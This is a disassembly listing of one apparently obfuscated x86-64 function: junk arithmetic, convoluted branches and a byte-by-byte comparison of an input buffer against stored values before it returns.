mov ecx, dword [0x1800a65bc]
imul ecx, eax
mov eax, ecx
not eax
mov ecx, dword [rsp + 0x48]
mov edx, dword [rsp + 0x48]
add ecx, edx
imul eax, ecx
mov byte [rsp + 0x22], al
mov eax, dword [0x18091bdb0]
mov dword [rsp + 0x170], eax
movzx eax, byte [0x1800a65e6]
movzx eax, al
movzx ecx, byte [rsp + 0x21]
movsx ecx, cl
imul eax, ecx
mov byte [0x1800a65e6], al
mov eax, dword [rsp + 0x8f8]
mov ecx, dword [rsp + 0x170]
add eax, ecx
mov dword [rsp + 0xe20], eax
mov eax, dword [rsp + 0x58]
test eax, eax
je 0x18004c399
movzx eax, byte [rsp + 0x20]
test eax, eax
je 0x18004c399
mov dword [rsp + 0x398], 1
jmp 0x18004c3a4
mov dword [rsp + 0x398], 0
movzx eax, byte [0x1800a65e6]
movzx eax, al
not eax
movsx ecx, word [rsp + 0x38]
cmp eax, ecx
jl 0x18004c3c6
mov dword [rsp + 0x394], 1
jmp 0x18004c3d1
mov dword [rsp + 0x394], 0
mov eax, dword [rsp + 0x394]
cmp dword [rsp + 0x398], eax
je 0x18004c3fe
movsx eax, word [rsp + 0x2c]
movsx ecx, byte [rsp + 0x26]
cmp eax, ecx
jl 0x18004c3fe
movzx eax, byte [rsp + 0x25]
movsx eax, al
xor eax, 0xc
mov dword [rsp + 0x54], eax
mov eax, dword [rsp + 0x8fc]
mov ecx, dword [rsp + 0x170]
add eax, ecx
mov dword [rsp + 0xe24], eax
mov rax, qword [0x1800a66d0]
test rax, rax
je 0x18004c423
jmp 0x18004c43c
movsx eax, byte [0x1800a658f]
movzx ecx, byte [0x1800a65a6]
movzx ecx, cl
add eax, ecx
mov byte [0x1800a658f], al
mov eax, dword [rsp + 0x900]
mov ecx, dword [rsp + 0x170]
add eax, ecx
mov dword [rsp + 0xe28], eax
mov eax, dword [rsp + 0x904]
mov ecx, dword [rsp + 0x908]
imul eax, ecx
mov ecx, dword [rsp + 0x90c]
cmp eax, ecx
je 0x18004c48d
mov eax, dword [rsp + 0x910]
mov eax, eax
mov rcx, qword [rsp + 0x1088]
mov qword [rcx], rax
mov eax, 2
jmp 0x180057e54
jmp 0x180057e52
mov eax, dword [rsp + 0x3a0]
mov ecx, dword [rsp + 0x39c]
and eax, ecx
mov ecx, dword [rsp + 0x3a4]
mov edx, dword [rsp + 0x39c]
and ecx, edx
mov edx, dword [rsp + 0x3a0]
mov edi, dword [rsp + 0x3a4]
sub edx, edi
sub ecx, edx
cmp eax, ecx
je 0x180057e52
mov eax, dword [0x18091bdb0]
mov dword [rsp + 0x174], eax
mov eax, dword [rsp + 0x174]
add eax, 0x502
mov dword [rsp + 0xe2c], eax
mov eax, dword [rsp + 0x174]
add eax, 0x5b4
mov dword [rsp + 0x1a4], eax
mov eax, dword [0x1800a66e8]
movabs rcx, 0x8dd2226c44c7
add rax, rcx
mov byte [rsp + 0x22], al
mov dword [rsp + 0x50], 0x61
mov eax, dword [rsp + 0x174]
add eax, 0x390
mov dword [rsp + 0x948], eax
mov rax, qword [rsp + 0x68]
mov ecx, 0x848096d7
sub rax, rcx
mov dword [0x1800a66cc], eax
mov eax, dword [0x18091bdb0]
mov dword [rsp + 0x178], eax
movzx eax, byte [0x18091bdb0]
mov byte [rsp + 0x21], al
mov eax, dword [rsp + 0x58]
cdqe
mov qword [rsp + 0x60], rax
mov eax, dword [rsp + 0x178]
add eax, 0x399
mov dword [rsp + 0x3b8], eax
movzx eax, byte [rsp + 0x29]
movzx eax, al
mov word [rsp + 0x30], ax
mov eax, dword [rsp + 0x178]
add eax, 0x80c2
mov dword [rsp + 0x914], eax
movzx eax, word [0x1800a65fc]
movzx eax, ax
test eax, eax
je 0x18004c5b5
mov eax, dword [rsp + 0x58]
mov dword [rsp + 0x3a8], eax
jmp 0x18004c5c2
mov eax, dword [0x1800a66ec]
mov dword [rsp + 0x3a8], eax
mov eax, dword [rsp + 0x3a8]
mov dword [rsp + 0x40], eax
mov eax, dword [rsp + 0x178]
add eax, 0x25ff
mov dword [rsp + 0xe30], eax
cmp dword [0x1800a66ec], 0
je 0x18004c5ee
jmp 0x18004c6db
mov eax, dword [0x1800a66c4]
not eax
test eax, eax
je 0x18004c623
movzx eax, word [0x1800a66c0]
movzx eax, ax
movzx ecx, word [0x1800a660c]
not ecx
imul eax, ecx
mov dword [rsp + 0x44], eax
mov eax, 0xfffff4d8
mov word [rsp + 0x34], ax
jmp 0x18004c6db
movzx eax, byte [rsp + 0x28]
movzx eax, al
not eax
test eax, eax
je 0x18004c636
jmp 0x18004c6db
mov eax, dword [rsp + 0x40]
test eax, eax
jne 0x18004c64b
mov dword [rsp + 0x3ac], 1
jmp 0x18004c656
mov dword [rsp + 0x3ac], 0
movzx eax, byte [rsp + 0x25]
movsx eax, al
cmp eax, dword [rsp + 0x3ac]
jne 0x18004c674
mov dword [rsp + 0x3b0], 1
jmp 0x18004c67f
mov dword [rsp + 0x3b0], 0
mov eax, dword [rsp + 0x3b0]
not eax
test eax, eax
jne 0x18004c6b0
movzx eax, byte [0x1800a65a3]
movsx eax, al
not eax
movsx ecx, byte [rsp + 0x27]
not ecx
cmp eax, ecx
jg 0x18004c6b0
mov dword [rsp + 0x3b4], 0
jmp 0x18004c6bb
mov dword [rsp + 0x3b4], 1
mov eax, dword [rsp + 0x3b4]
not eax
test eax, eax
je 0x18004c6db
movzx eax, byte [rsp + 0x24]
not eax
imul eax, dword [0x1800a66b0]
mov word [rsp + 0x34], ax
mov eax, dword [rsp + 0x3b8]
imul eax, eax, 0xff
mov ecx, dword [rsp + 0x3b8]
mov edx, dword [rsp + 0x914]
add ecx, edx
xor eax, ecx
mov ecx, 0x317f6
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x92c], eax
movsx eax, word [rsp + 0x2c]
movzx ecx, word [0x1800a66c0]
movzx ecx, cx
sub eax, ecx
movsx ecx, word [rsp + 0x2c]
or ecx, eax
mov eax, ecx
mov word [rsp + 0x2c], ax
mov eax, dword [0x18091bdb0]
mov dword [rsp + 0x17c], eax
movsx eax, word [rsp + 0x2c]
test eax, eax
je 0x18004c796
movzx eax, byte [rsp + 0x23]
movzx eax, al
cmp eax, dword [rsp + 0x4c]
je 0x18004c787
mov qword [rsp + 0x68], 0x1bfa
movzx eax, byte [0x1800a65a3]
movsx rax, al
mov rcx, qword [0x1800a6678]
imul rcx, rax
mov rax, rcx
movsx ecx, word [rsp + 0x38]
or ecx, 0xfffff394
movsxd rcx, ecx
imul rax, rcx
mov byte [rsp + 0x21], al
jmp 0x18004c796
movzx eax, word [rsp + 0x34]
cwde
sub eax, 0xd0f0963d
mov byte [rsp + 0x25], al
mov eax, dword [rsp + 0x17c]
add eax, 0x407
mov dword [rsp + 0x918], eax
movzx eax, byte [rsp + 0x29]
movzx eax, al
test eax, eax
je 0x18004c7d0
movzx eax, byte [0x1800a65a7]
movabs rcx, 0xa2565e83e95ce
sub rax, rcx
mov word [rsp + 0x30], ax
jmp 0x18004c7ea
movsx eax, word [rsp + 0x2c]
cmp dword [0x1800a66c4], eax
jne 0x18004c7ea
movzx eax, word [rsp + 0x34]
cwde
add eax, 0xa
mov byte [rsp + 0x22], al
mov eax, dword [rsp + 0x17c]
add eax, 0x2273
mov dword [rsp + 0xe34], eax
mov eax, dword [0x18091bdb0]
mov dword [0x1800a66c8], eax
movzx eax, byte [0x1800a658e]
sub eax, 0xa5b0
mov word [0x1800a66c0], ax
mov eax, dword [rsp + 0x17c]
add eax, 0x418
mov dword [rsp + 0x3bc], eax
mov rax, qword [0x1800a6668]
movabs rcx, 0x3bc8627a9d7e7
add rax, rcx
mov dword [rsp + 0x58], eax
mov eax, dword [0x1800a66b0]
sub rax, qword [0x1800a66a8]
mov dword [0x1800a66b0], eax
mov eax, dword [rsp + 0x3bc]
sub eax, 0xa3
mov ecx, dword [rsp + 0x3bc]
mov edx, dword [rsp + 0x918]
xor ecx, edx
or eax, ecx
mov ecx, 0x7b9
sub ecx, eax
mov eax, ecx
mov ecx, dword [rsp + 0x91c]
mov edx, dword [rsp + 0x84]
imul ecx, edx
mov edx, dword [rsp + 0x920]
mov edi, dword [rsp + 0x84]
sub edx, edi
xor ecx, edx
mov edx, dword [rsp + 0x84]
mov edi, dword [rsp + 0x84]
sub edx, edi
mov edi, dword [rsp + 0x84]
mov esi, dword [rsp + 0x84]
sub edi, esi
xor edx, edi
imul ecx, edx
sub eax, ecx
mov dword [rsp + 0x930], eax
mov eax, dword [0x18091bdb0]
mov dword [rsp + 0x180], eax
cmp dword [rsp + 0x44], 0
jne 0x18004c8f3
mov dword [rsp + 0x3c0], 1
jmp 0x18004c8fe
mov dword [rsp + 0x3c0], 0
mov eax, dword [rsp + 0x58]
cmp dword [rsp + 0x3c0], eax
jle 0x18004c90d
jmp 0x18004c93c
mov rax, qword [0x1800a66d8]
mov ecx, dword [0x1800a6688]
cmp rax, rcx
jne 0x18004c93c
mov rax, qword [0x1800a6668]
add rax, 0x85
mov rcx, qword [rsp + 0x60]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x60], rax
mov eax, dword [rsp + 0x180]
add eax, 0x37b
mov dword [rsp + 0xe38], eax
movzx eax, word [0x1800a65fc]
movzx eax, ax
mov ecx, dword [0x1800a663c]
sub eax, ecx
movzx ecx, word [0x1800a65fc]
movzx ecx, cx
sub ecx, eax
mov eax, ecx
mov word [0x1800a65fc], ax
mov eax, dword [rsp + 0x180]
add eax, 0x2fc1
mov dword [rsp + 0x924], eax
movzx eax, word [0x1800a66c0]
movzx eax, ax
test eax, eax
je 0x18004c9b0
mov eax, dword [0x1800a66e8]
add eax, 0xfa
mov eax, eax
mov qword [0x1800a66b8], rax
jmp 0x18004cacb
movzx eax, byte [rsp + 0x23]
movzx eax, al
cmp rax, qword [0x1800a66a8]
je 0x18004c9e1
mov rax, qword [0x1800a66d8]
movabs rcx, 0xa3becf4cee7d4
add rax, rcx
mov qword [0x1800a6678], rax
jmp 0x18004cacb
mov eax, dword [0x1800a65bc]
test eax, eax
jl 0x18004c9f8
mov dword [rsp + 0x3c8], 1
jmp 0x18004ca03
mov dword [rsp + 0x3c8], 0
movzx eax, word [0x1800a66b4]
cwde
test eax, eax
jne 0x18004ca27
movsx eax, word [0x1800a6690]
test eax, eax
je 0x18004ca27
mov dword [rsp + 0x3c4], 1
jmp 0x18004ca32
mov dword [rsp + 0x3c4], 0
mov eax, dword [rsp + 0x3c4]
cmp dword [rsp + 0x3c8], eax
jl 0x18004ca88
movzx eax, word [rsp + 0x34]
cwde
movzx ecx, word [0x1800a668c]
add eax, ecx
mov word [rsp + 0x34], ax
cmp dword [0x1800a6688], 0
jne 0x18004ca6c
mov dword [rsp + 0x3cc], 1
jmp 0x18004ca77
mov dword [rsp + 0x3cc], 0
mov eax, dword [rsp + 0x48]
sub eax, dword [rsp + 0x3cc]
mov byte [rsp + 0x21], al
jmp 0x18004cacb
movzx eax, byte [rsp + 0x24]
test eax, eax
jne 0x18004cacb
movzx eax, byte [0x1800a65a6]
movzx eax, al
movsx ecx, word [rsp + 0x38]
xor eax, ecx
test eax, eax
jne 0x18004cab3
mov dword [rsp + 0x3d0], 1
jmp 0x18004cabe
mov dword [rsp + 0x3d0], 0
mov eax, dword [rsp + 0x3d0]
mov dword [0x1800a6624], eax
mov eax, dword [rsp + 0x180]
add eax, 0x427
mov dword [rsp + 0x3d4], eax
movzx eax, word [rsp + 0x34]
cwde
test eax, eax
je 0x18004caea
jmp 0x18004cb4a
cmp dword [0x1800a66e8], 0
je 0x18004cb4a
mov eax, dword [0x1800a66b0]
mov rcx, qword [0x1800a6670]
not rcx
mov rdx, qword [rsp + 0x68]
add rcx, rdx
not rcx
add rax, rcx
test rax, rax
jne 0x18004cb25
mov eax, 1
mov word [rsp + 0x94], ax
jmp 0x18004cb2f
xor eax, eax
mov word [rsp + 0x94], ax
movzx eax, word [rsp + 0x94]
mov word [rsp + 0x2c], ax
movzx eax, byte [rsp + 0x22]
add eax, 0x3cf4
mov byte [rsp + 0x20], al
cmp dword [0x1800a66e8], 0
je 0x18004cb62
mov eax, dword [rsp + 0x4c]
add eax, 0x2524
mov dword [rsp + 0x50], eax
jmp 0x18004cb89
movzx eax, byte [rsp + 0x20]
add eax, 0xd1d4
mov ecx, dword [0x1800a663c]
sub ecx, eax
mov eax, ecx
mov dword [0x1800a663c], eax
mov eax, dword [0x18091bdb0]
mov qword [0x1800a66a0], rax
mov eax, dword [rsp + 0x924]
add eax, 0x5e6e
mov ecx, dword [rsp + 0x3d4]
mov edx, dword [rsp + 0x3d4]
add ecx, edx
xor eax, ecx
xor eax, 0x80f2
mov dword [rsp + 0x934], eax
mov eax, 0xf7bc
mov word [0x1800a668c], ax
movzx eax, word [0x1800a660c]
movzx ecx, byte [rsp + 0x24]
add ecx, 0xd84d
cmp eax, ecx
jne 0x18004cc28
movzx eax, byte [0x1800a65e6]
movzx eax, al
movzx ecx, byte [rsp + 0x24]
add eax, ecx
cmp eax, 1
jne 0x18004cc28
mov eax, dword [0x1800a65bc]
add eax, 0xbb20
cdqe
mov qword [0x1800a66e0], rax
jmp 0x18004cbb3
mov eax, 1
imul rax, rax, 0
mov rcx, qword [rsp + 0x70]
movzx eax, byte [rcx + rax]
cmp eax, dword [rsp + 0x108]
jne 0x18004d43e
mov eax, 1
imul rax, rax, 1
mov rcx, qword [rsp + 0x70]
movzx eax, byte [rcx + rax]
cmp eax, dword [rsp + 0x10c]
jne 0x18004d43e
movzx eax, byte [0x1800a65fe]
movsx eax, al
mov eax, dword [0x18091bdb0]
mov dword [rsp + 0x184], eax
mov eax, dword [0x1800a65bc]
test eax, eax
je 0x18004cd8e
mov eax, dword [rsp + 0x48]
movsx ecx, byte [rsp + 0x27]
cmp eax, ecx
jge 0x18004ccd2
movsx eax, word [rsp + 0x3c]
test eax, eax
je 0x18004ccb1
movsx eax, word [rsp + 0x3c]
movzx ecx, word [0x1800a668c]
cmp eax, ecx
jle 0x18004cd01
mov eax, dword [rsp + 0x184]
add eax, 0x407
mov dword [rsp + 0xe3c], eax
mov rax, qword [0x1800a66d8]
add rax, 0xf0
mov dword [rsp + 0x44], eax
movzx eax, byte [rsp + 0x20]
sub eax, 0xa3ecc2fb
mov byte [rsp + 0x21], al
mov eax, dword [rsp + 0x184]
add eax, 0x373
mov dword [rsp + 0x188], eax
cmp dword [0x1800a6688], 0
je 0x18004ce24
movzx eax, byte [rsp + 0x29]
movzx eax, al
test eax, eax
je 0x18004ce14
movzx eax, byte [rsp + 0x22]
mov ecx, dword [0x1800a6688]
imul ecx, eax
mov eax, ecx
movzx ecx, byte [0x1800a658e]
mov edx, dword [rsp + 0x54]
add ecx, edx
add eax, ecx
test eax, eax
jne 0x18004ce54
mov eax, dword [rsp + 0x418]
mov ecx, dword [rsp + 0xc4]
imul eax, ecx
mov ecx, dword [rsp + 0xc4]
mov edx, dword [rsp + 0xc4]
imul ecx, edx
add eax, ecx
mov ecx, dword [rsp + 0x418]
sub ecx, 0x3e
mov edx, dword [rsp + 0xc4]
or edx, ecx
mov ecx, edx
cmp eax, ecx
je 0x180057e52
movzx eax, byte [rsp + 0x20]
cmp rax, qword [0x1800a6670]
jae 0x18004d49a
mov dword [rsp + 0x420], 1
jmp 0x18004d4a5
mov dword [rsp + 0x420], 0
movzx eax, byte [rsp + 0x20]
cmp eax, 0x32
jge 0x18004d4bc
mov dword [rsp + 0x41c], 1
jmp 0x18004d4c7
mov dword [rsp + 0x41c], 0
mov eax, dword [rsp + 0x41c]
cmp dword [rsp + 0x420], eax
je 0x18004d4e5
xor eax, eax
add rsp, 0x1068
pop rdi
pop rsi
ret